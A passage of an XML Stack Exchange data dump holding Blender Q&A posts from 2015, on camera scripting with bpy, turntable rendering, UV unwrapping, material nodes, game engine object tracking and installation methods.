&lt;a href=&quot;https://docs.python.org/3/faq/programming.html?highlight=__pycache__#how-do-i-create-a-pyc-file&quot; rel=&quot;nofollow noreferrer&quot;&gt;the official py doc&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;II. Can I modify some Blender's python files by accident by just working normally on a blend file?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NO&lt;/strong&gt;: Usual editing of a .blend file will never touch anything on your file system. Unless it has been manually and maliciously crafted to do so, of course (a .blend file can easily execute arbitrary python code, which means it can wipe out your whole system if it wants to) - that’s why in .blend opening settings you have an option to “trust” the file or not.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;III. Can I modify some of Blender scripts such that they delete and/or corrupt data in .blend files?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NO&lt;/strong&gt; in general, but &lt;strong&gt;YES&lt;/strong&gt; if you really want it. @Vitaliy already answered the general case: modifying “randomly” some script files of Blender is highly unlikely to have any bad effect on your saved data, it is much much more probable that it will just very soon error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it &lt;strong&gt;is&lt;/strong&gt; possible to modify a py script such that it breaks saving valid data (the simplest way to do so is to register a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.app.handlers.html#bpy.app.handlers.save_pre&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;save_pre&lt;/code&gt; handler&lt;/a&gt;, and in that handler to e.g. delete all scenes or other nasty things like that. You can also generate invalid data (broken mesh, etc.) that will crash Blender on next load of the file, but that’s not so obvious to do. But yes, if you really want to, you do can break saving of &lt;code&gt;.blend&lt;/code&gt; files from py script, like pretty much anything else in Blender.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-07-02T17:52:06.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33328" PostTypeId="1" AcceptedAnswerId="33333" CreationDate="2015-07-02T17:56:53.427" Score="1" ViewCount="522" Body="&lt;p&gt;I am new to blender. I have a .obj file that I need a rendered turntable of (meaning I need to spin the obj and render a frame every 10 degrees or so). Importing the .obj file works fine. However, I cannot even add a camera to the scene. I am trying this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cam = bpy.data.cameras.new(&quot;Camera&quot;)&#xA;cam_ob = bpy.data.objects.new(&quot;Camera&quot;, cam)&#xA;bpy.context.scene.objects.link(cam_ob)&#xA;bpy.context.scene.objects.active = bpy.context.scene.objects[&quot;Camera&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.camera_add(view_align=False, enter_editmode=False, location=(0.0, 0.0, -4.0), rotation=(0.0, 0.0, 0.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when I run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.render.render()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It says &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ERROR: Cannot render, no camera&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the correct way of doing this, and what's the best way of repeatedly rendering the .obj while spinning it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="15376" LastActivityDate="2015-07-02T18:19:18.920" Title="How to render turntable of .obj file" Tags="&lt;python&gt;&lt;blender-internal-render-engine&gt;&lt;transforms&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33329" PostTypeId="5" CreationDate="2015-07-02T18:01:32.143" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-07-02T18:01:32.143" LastActivityDate="2015-07-02T18:01:32.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33330" PostTypeId="4" CreationDate="2015-07-02T18:01:32.143" Score="0" Body="Questions related to Blender and Unreal Engine game engine" OwnerUserId="2607" LastEditorUserId="2607" LastEditDate="2015-07-02T19:22:55.523" LastActivityDate="2015-07-02T19:22:55.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33331" PostTypeId="1" CreationDate="2015-07-02T18:08:03.763" Score="0" ViewCount="81" Body="&lt;p&gt;I'm new to writing new node systems, so bear with me, but how do you write nodes that affect the transform [matrix] of objects and maybe even data [vertices]?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just need some help getting started. &lt;/p&gt;&#xA;" OwnerUserId="11316" LastActivityDate="2015-07-02T18:08:03.763" Title="How do you affect object transforms with nodes?" Tags="&lt;animation&gt;&lt;nodes&gt;&lt;pynodes&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33332" PostTypeId="1" CreationDate="2015-07-02T18:15:49.703" Score="1" ViewCount="238" Body="&lt;p&gt;I am currently weight painting my mesh and would like to take advantage of the x-mirror functionality to make things consistent. The mesh is symmetrical and the bones are correctly named with the proper L/R suffix. My problem is that while the x-mirror option works with normal brush strokes, it does not seem to work with weight gradient strokes (hold alt or ctrl+alt while making the stroke). Is this simply a problem with Blender or am I missing something that may be keeping it from working properly...?&lt;/p&gt;&#xA;" OwnerUserId="15377" LastActivityDate="2015-07-02T18:15:49.703" Title="Weight gradients not mirrored in weight paint mode?" Tags="&lt;armature&gt;&lt;weight-painting&gt;&lt;mirror&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33333" PostTypeId="2" ParentId="33328" CreationDate="2015-07-02T18:19:18.920" Score="1" Body="&lt;p&gt;You need to specify the new camera as the active one for the scene, before rendering, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.camera = cam_ob&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To rotate an object around its &lt;strong&gt;Z&lt;/strong&gt; axis, just do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from mathutils import radians&#xA;my_obj.rotation_euler.rotate_axis('Z', radians(10))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-07-02T18:19:18.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33334" PostTypeId="1" CreationDate="2015-07-02T15:31:20.257" Score="2" ViewCount="563" Body="&lt;p&gt;How do I unfold a model in a way that its print ready for paper crafting? Ive tried 123D Make for crafts and its not working out the way I want it too, also I dont have windows for Pepakura (?) &lt;/p&gt;&#xA;" OwnerDisplayName="Emily" LastEditorUserId="599" LastEditDate="2015-07-02T23:29:34.653" LastActivityDate="2015-07-02T23:29:34.653" Title="Print model for craft object?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-07-02T23:28:07.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="33335" PostTypeId="2" ParentId="33334" CreationDate="2015-07-02T18:38:44.427" Score="1" Body="&lt;p&gt;You can get the desired result using the UV mapping feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with &lt;kbd&gt;U&lt;/kbd&gt; to bring up the unwrap menu. There will be several options. Try smart UV project. After doing that, hit &lt;kbd&gt;F6&lt;/kbd&gt;, and set the Island Margin to 0.03, so you can see the gaps. Next open up the UV image editor, and you should see the layout inside. This is how the paper template will look. If you don't like it (probably to many separate parts) you can use a manual process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To manually define the cuts, hit &lt;kbd&gt;Tab&lt;/kbd&gt;  to enter edit mode. Select the edges where you will wan't gaps. Be sure to select enough that it can sit flat. Hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;E&lt;/kbd&gt;&gt;&lt;em&gt;Mark seems&lt;/em&gt; then use &lt;kbd&gt;U&lt;/kbd&gt;&gt;&lt;em&gt;Unwrap&lt;/em&gt; and set the Island margin to 0.03.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, when you're satisfied with your layout, Go to &lt;em&gt;UVs&lt;/em&gt;&gt;&lt;em&gt;Export Uv Layout&lt;/em&gt; and save the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Useful further reading and help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Importing an OBJ file: &lt;a href=&quot;https://youtu.be/5t2Ntn6JDAY?t=1m53s&quot; rel=&quot;nofollow&quot;&gt;https://youtu.be/5t2Ntn6JDAY?t=1m53s&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-07-02T18:38:44.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33337" PostTypeId="1" CreationDate="2015-07-02T20:13:54.113" Score="3" ViewCount="1054" Body="&lt;p&gt;I want to know the orientation of a certain face by knowing the z vector(direction vector) of its normal. How do I let Blender display the values of the normal of a face?&lt;/p&gt;&#xA;" OwnerUserId="15378" LastActivityDate="2015-07-02T21:19:01.263" Title="How to display the normal values of a face?" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-02T23:16:35.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="33338" PostTypeId="1" CreationDate="2015-07-02T20:34:12.137" Score="1" ViewCount="705" Body="&lt;p&gt;I've set up a material in the node editor that basically makes the mesh that it is applied to look act as if backface culling was turned on.&#xA;However my problem with this is that the Transparency setting is no longer effective, as is illustrated in the screenshot below. Although Transparency is only set to about 50 percent, the resulting material is still entirely opaque because of the node setup (which I got from a thread on this site and do not really understand tbh) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is if anyone knows how I can set up the material as to allow me to influence and animate its transparency while retaining the 'quasi-backface culling' node setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers folks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AzdbY.png&quot; alt=&quot;transparency Alpha does not affect the output&amp;#39;s transparency&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15375" LastEditorDisplayName="user7952" LastEditDate="2015-07-02T20:57:35.627" LastActivityDate="2015-07-03T00:06:24.210" Title="Node Editor Material Transparency Problem" Tags="&lt;materials&gt;&lt;nodes&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33339" PostTypeId="1" AcceptedAnswerId="33344" CreationDate="2015-07-02T20:38:59.537" Score="1" ViewCount="73" Body="&lt;p&gt;Making a logo - very simple - 5 words all set on a black background that appear independently in sequence.  I used the Outliner editor to set keyframes for the text to appear.  It works as designed in the render view but when I animate the logo all of the words are visible at frame 1.  What am I doing wrong?    &lt;/p&gt;&#xA;" OwnerUserId="15380" LastActivityDate="2015-07-02T21:31:52.637" Title="problem animating appearing text" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33340" PostTypeId="1" CreationDate="2015-07-02T20:46:28.290" Score="2" ViewCount="831" Body="&lt;p&gt;How can I make my horizon/edge of my reflective floor either transparent or blended with the background, so you only see the RVs with shadows and reflections? So far all I've been able to do is set up more lights over the floor's background edge to blend in more, but I need it gone. I'm attaching a picture. I'm still new to blender, so please be specific. Thank you in advance.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/h6kOL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10967" LastActivityDate="2015-08-02T14:25:48.820" Title="Blending Floor and Background to appear as one" Tags="&lt;light&gt;&lt;shaders&gt;&lt;edges&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33341" PostTypeId="2" ParentId="33273" CreationDate="2015-07-02T20:49:17.927" Score="0" Body="&lt;p&gt;You can also use the &lt;a href=&quot;http://blender.org/manual/modeling/meshes/editing/subdividing/knife_subdivide.html&quot; rel=&quot;nofollow&quot;&gt;knife tool&lt;/a&gt; with &lt;kbd&gt;k&lt;/kbd&gt;, this way you can create a loop cut where ever you want.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="599" LastEditDate="2015-07-02T23:42:30.727" LastActivityDate="2015-07-02T23:42:30.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33342" PostTypeId="1" AcceptedAnswerId="33379" CreationDate="2015-07-02T21:01:21.077" Score="4" ViewCount="3710" Body="&lt;p&gt;TLDR: I'm trying to figure out the best method of mixing textures across UV edges in a dynamically textured mesh. For instance, if you have a plane with 4 faces and each one has a non-seamless texture applied to it, is there a way to mix the textures across the edges?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm making an adventure game where the terrain is dynamically generated. I've considered a few methods of texturing each face if the terrain but I run into problems with seams in the UV mesh. I've been pointed to Cycles but, and this was a while ago so I might remember wrong, I had problems getting it to work in the BGE. I was pointed to video textures, but I think there was still an issue with seams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried, at one point, using the RGB color channels but I ran into an issue with only having 3 or 4 possibilities for texture. I think it was one default, and one for each color. And this also caused obvious squares, as I was applying this by vertex colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example I might shift from grass to dirt, and the edge this happens along should fade from a green grass texture go a brown dirt texture. At the moment it looks more like Minecraft, with an obvious seam between blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What method should I look at? I like the idea of making a single image with each type of terrain painted in a grid, and moving UV's to change terrain type on the mesh. This is easy enough but I can't fade the textures together.&lt;/p&gt;&#xA;" OwnerUserId="15379" LastEditorUserId="15379" LastEditDate="2015-07-02T21:25:33.333" LastActivityDate="2016-03-30T20:14:37.323" Title="How to Mix Face Textures Across UV Edges" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33343" PostTypeId="2" ParentId="33337" CreationDate="2015-07-02T21:19:01.263" Score="5" Body="&lt;p&gt;You can toggle the on in the Mesh Display panel:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kY4jf.gif&quot; alt=&quot;Mesh Display Panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3369" LastActivityDate="2015-07-02T21:19:01.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33344" PostTypeId="2" ParentId="33339" CreationDate="2015-07-02T21:31:52.637" Score="2" Body="&lt;p&gt;In Blender, there are always two Settings for Viewport and Rendering. For Viewport visibility use &lt;img src=&quot;https://i.stack.imgur.com/VkE5Z.png&quot; alt=&quot;visible_ipo_on&quot;&gt; and for Rendering &lt;img src=&quot;https://i.stack.imgur.com/7C7H3.png&quot; alt=&quot;restrict_render_off&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3369" LastActivityDate="2015-07-02T21:31:52.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33345" PostTypeId="1" CreationDate="2015-07-02T21:58:06.590" Score="4" ViewCount="1562" Body="&lt;p&gt;Could somebody provide a link to the Blender documentation or another source, where (non trivial) select operations are explained? I mean performing intersection or union using all available select tools like Border or Similar.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Note: The question is not about using &lt;strong&gt;Border&lt;/strong&gt; to add or remove rectangles. This is about Intersection or Union.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example: I have selected the faces based on their material, but now I would like to keep only what is inside the green rectangle. I don't know how to do it, and I cannot find that in &lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/selecting/basics.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the documentation&lt;/a&gt; (currently learning Blender).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mzoVW.jpg&quot; alt=&quot;Screen capture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually graphic applications have select helpers like &lt;strong&gt;Intersection&lt;/strong&gt; or &lt;strong&gt;Union&lt;/strong&gt; to combine successive basic select operations. In my case I assume it's possible in Blender to intersect my current selection with a rectangle using &lt;strong&gt;Border&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please don't provide shortcuts only. Using Blender 2.7. &#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15265" LastEditorUserId="241" LastEditDate="2015-07-03T13:07:34.883" LastActivityDate="2015-07-19T19:22:41.040" Title="Select using intersection or union?" Tags="&lt;selection-tools&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33346" PostTypeId="2" ParentId="33132" CreationDate="2015-07-02T22:08:17.360" Score="0" Body="&lt;p&gt;Use Python. Get the list of verts in the terrain then iterate through them and randomly assign each coordinate as covered or empty. Covered ones get a tree or bush object or the like. I built exactly this a while back. Let me know if you'd like an example script.&lt;/p&gt;&#xA;" OwnerUserId="15379" LastActivityDate="2015-07-02T22:08:17.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33348" PostTypeId="1" AcceptedAnswerId="33361" CreationDate="2015-07-02T22:51:17.987" Score="0" ViewCount="326" Body="&lt;p&gt;If I set up two empties that can add specific new objects to the game every second, can the objects added by the first empty track the location of the objects added by the second empty?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this can be done in Python, that would be awesome! Thanks guys for the help!&lt;/p&gt;&#xA;" OwnerUserId="5253" LastEditorUserId="1253" LastEditDate="2015-07-03T01:44:38.090" LastActivityDate="2015-07-03T04:35:57.940" Title="Track To Added Object" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;objects&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33349" PostTypeId="2" ParentId="3659" CreationDate="2015-07-02T22:53:36.820" Score="1" Body="&lt;p&gt;It is possible to change the size of a particle over its lifetime refer to the image and set parameters as described.&#xA; 1. use a blend texture&#xA; 2. set its mapping to particle/strand&#xA; 3. drive the size parameter in the texture properties&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QU1p0.png&quot; alt=&quot;Parameters to change&quot;&gt;&#xA;I used the Blender Internal Engine to set up the texture then switched to Cycles to render.&lt;/p&gt;&#xA;" OwnerUserId="5693" LastActivityDate="2015-07-02T22:53:36.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33350" PostTypeId="2" ParentId="33348" CreationDate="2015-07-02T23:05:35.957" Score="0" Body="&lt;p&gt;You might try giving each added object a new property. Such as Alpha and Omega. Each added Alpha object would look like Alpha=1, Alpha=2, etc. And so forth with Omega. In your Python set the target in your tracking actuator to the coinciding object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you add two objects, one with Alpha=1 and the other with Omega=1, set the target for Alpha's tracking actuator to any object with Omega=1.&lt;/p&gt;&#xA;" OwnerUserId="15379" LastActivityDate="2015-07-02T23:05:35.957" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="33351" PostTypeId="2" ParentId="33253" CreationDate="2015-07-03T00:04:29.790" Score="3" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that if you want a fast facsimile is to use OpenGL render (not in the render menu, rather a the top of the interface).  I rendered 100 frames in about a minute on a black background then &quot;add&quot; layer composition to the GPU smokeless animation.  Looks really good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="15382" LastActivityDate="2015-07-03T00:04:29.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33352" PostTypeId="2" ParentId="33338" CreationDate="2015-07-03T00:06:24.210" Score="1" Body="&lt;p&gt;Use a math node and set it to Minimum and plug the Alpha output and the Front/Back output to it then connect the result to the Alpha input of the Output node. this way the the back faces will be totally transparent and the front faces will have the alpha you set in the material tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lRwp2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-03T00:06:24.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33353" PostTypeId="1" CreationDate="2015-07-03T00:09:36.310" Score="2" ViewCount="170" Body="&lt;p&gt;What is the best way to more easily identify keyboard shortcuts, specifically for the video editing capabilities?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a set of keyboard stickers.&lt;/p&gt;&#xA;" OwnerUserId="15383" LastEditorUserId="599" LastEditDate="2015-07-03T18:54:07.050" LastActivityDate="2021-02-19T11:02:30.257" Title="How to find and identify keyboard shortcuts?" Tags="&lt;editing&gt;&lt;video&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33356" PostTypeId="1" CreationDate="2015-07-03T01:34:12.207" Score="3" ViewCount="3472" Body="&lt;p&gt;I am stuck with a unique problem. I created some smoke per a detailed tutorial. It appears in the viewport but not during rendering with Cycles. I have attached both the snapshots and .blend file. I am using Blender 2.74.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interesting thing is that even when I tried rendering an already-made smoke scene that I downloaded, it did not render anything on my system. Please help me out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender file: &lt;a href=&quot;https://drive.google.com/file/d/0B2piSDHkvL_6cDhoa1g2YV9ieUU/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B2piSDHkvL_6cDhoa1g2YV9ieUU/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Regards Sabin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OXdHc.jpg&quot; alt=&quot;View port- smoke&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zJLJu.jpg&quot; alt=&quot;Output in Cycles render - No smoke&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15361" LastEditorUserId="1253" LastEditDate="2015-07-03T02:04:33.670" LastActivityDate="2015-07-16T00:47:58.240" Title="Smoke is not appearing in Cycles render" Tags="&lt;cycles-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33359" PostTypeId="2" ParentId="33112" CreationDate="2015-07-03T02:56:58.057" Score="1" Body="&lt;h1&gt;Windows Installers&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;These are useful if you want to have a version of Blender installed system-wide, accessible easily to all users. These will probably install start menu or other shortcuts and be neither installable nor removable by non-administrator users. Blender appears to be available in .msi packages. Although I don't know much about how that type of package is used, 50 seconds of reading the &lt;a href=&quot;https://en.wikipedia.org/wiki/Windows_Installer&quot; rel=&quot;nofollow&quot;&gt;Wikipedia .msi article&lt;/a&gt; makes me think that it is sort of like Windows' own native package manager but without repositories. Blender is also available as a self-installing executable, which to an end user should be functionally equivalent to the .msi packages.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Portable pre-compiled archives (Linux and Windows)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;These are very useful if you want to use multiple versions of Blender without installing any or all of them. These archives are portable and can be moved between computers on the likes of removable storage without interfering with possible existing versions of Blender. Administrative access to the system should not be required to use these.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;OS X&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;OS X handles applications quite a bit differently from other systems. Many applications, including Blender, are directories suffixed with &lt;code&gt;.app&lt;/code&gt; containing a directory tree with the program's executables along with any additional libraries or resources that are not shared with other applications. Usually these bundles are kept in &lt;code&gt;/Applications&lt;/code&gt;, but they can be renamed, moved, and used anywhere much like the archives mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Package Managers (Unix-like systems)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Many Linux distributions have pre-compiled binary packages of Blender that are distributed through repositories and installed with the distribution's package management system. They have the advantage of being automatically upgradable, although the usefulness of that depends on how quickly a particular distribution updates their Blender package and/or how up-to-date of a version of Blender you require. Like with Windows, this is a good way to make one version of Blender available to all users of a system. Gentoo Linux and the BSDs have similar systems with automatic upgrading and such, but the main difference is that they compile applications &quot;on demand&quot; when they're installed rather than using precompiled packages. Configured properly, this has the obscure benefit of compiling Blender with optimizations specific to your CPU, which might improve performance a bit.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Steam&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Steam? I literally had to go to their website to have any idea what it was, so take this with some salt. As far as I can tell, it's a cross-platform software distribution system with a focus on games. I assume that Steam shares the advantage of automatic updating with package managers. If you use Steam for other software, I can see that it would perhaps be convenient to use Blender from it as well, but since there are so many other ways to install Blender, I can't imagine using Steam just for that purpose.&lt;/p&gt;&#xA;" OwnerUserId="1253" LastActivityDate="2015-07-03T02:56:58.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33360" PostTypeId="2" ParentId="33340" CreationDate="2015-07-03T02:58:26.940" Score="1" Body="&lt;p&gt;The best way to make your floor blend into your background is to composite the two together from separate layers and feather the edge of the floor layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the node network below I've used a Rectangular Mask node into a Blur node to create the blurred masked that is used to set the alpha channel of the floor layer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kdAoX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this image, you can see the size and orientation of the mask node (indicated by the white outline).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I7dCI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the final effect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h4bvy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique works best with still images, but can be used with animations if the floor edge does not move a lot in relation to the screen.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-03T02:58:26.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33361" PostTypeId="2" ParentId="33348" CreationDate="2015-07-03T04:35:57.940" Score="1" Body="&lt;p&gt;Rather than put the code in here, I'm providing the file. It's a little more hackish than I'd have preferred, but you can see how it works and clean it up if you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works with 3 objects: Scene Master, Enemy Generator and Bullet Generator. In an inactive scene I created an Enemy object and a Bullet object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Scene Master runs the script, which gets the generators, enemy base and bullet base. Every 180 seconds it adds an Enemy at the Enemy Generator position and a Bullet at the Bullet Generator position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enemies have a constant speed along the Y axis. Bullets have an unset Steering actuator with a constant speed roughly matching the corresponding Enemy. The Scene Master sets the new Bullet's steering target to the new Enemy. The Bullet then actuates its steering logic and starts chasing its corresponding Enemy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something I want to impress upon is that you can't target copies of objects by name. Each time you add a new Bullet or a new Enemy they'll all have the same name (Bullet or Enemy). So when we add the objects to the scene we do it while at the same time equating it to an object. This adds the object to the scene and creates a data object corresponding to the newly added version. This data object can be saved in a scene object's properties and accessed later, even if you add 3000 new versions of the same object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dan.gslyr.com/blender/steering.blend&quot; rel=&quot;nofollow&quot;&gt;http://dan.gslyr.com/blender/steering.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15379" LastActivityDate="2015-07-03T04:35:57.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33362" PostTypeId="1" CreationDate="2015-07-03T07:33:10.440" Score="0" ViewCount="613" Body="&lt;p&gt;I need a shader that achieves the effect in this image, stripes of different colors. This image was produced by uv unwrapping but that would be difficult to achieve on a very complex object. The idea is that the object is made of a material of colored layers and is then carved to give this effect. The image is in ortographic projection. The orientation of the stripes should be a parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M1yl0.png&quot; alt=&quot;goal image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14641" LastActivityDate="2015-07-03T10:07:33.627" Title="stripe shader no uv unwrapping" Tags="&lt;texturing&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
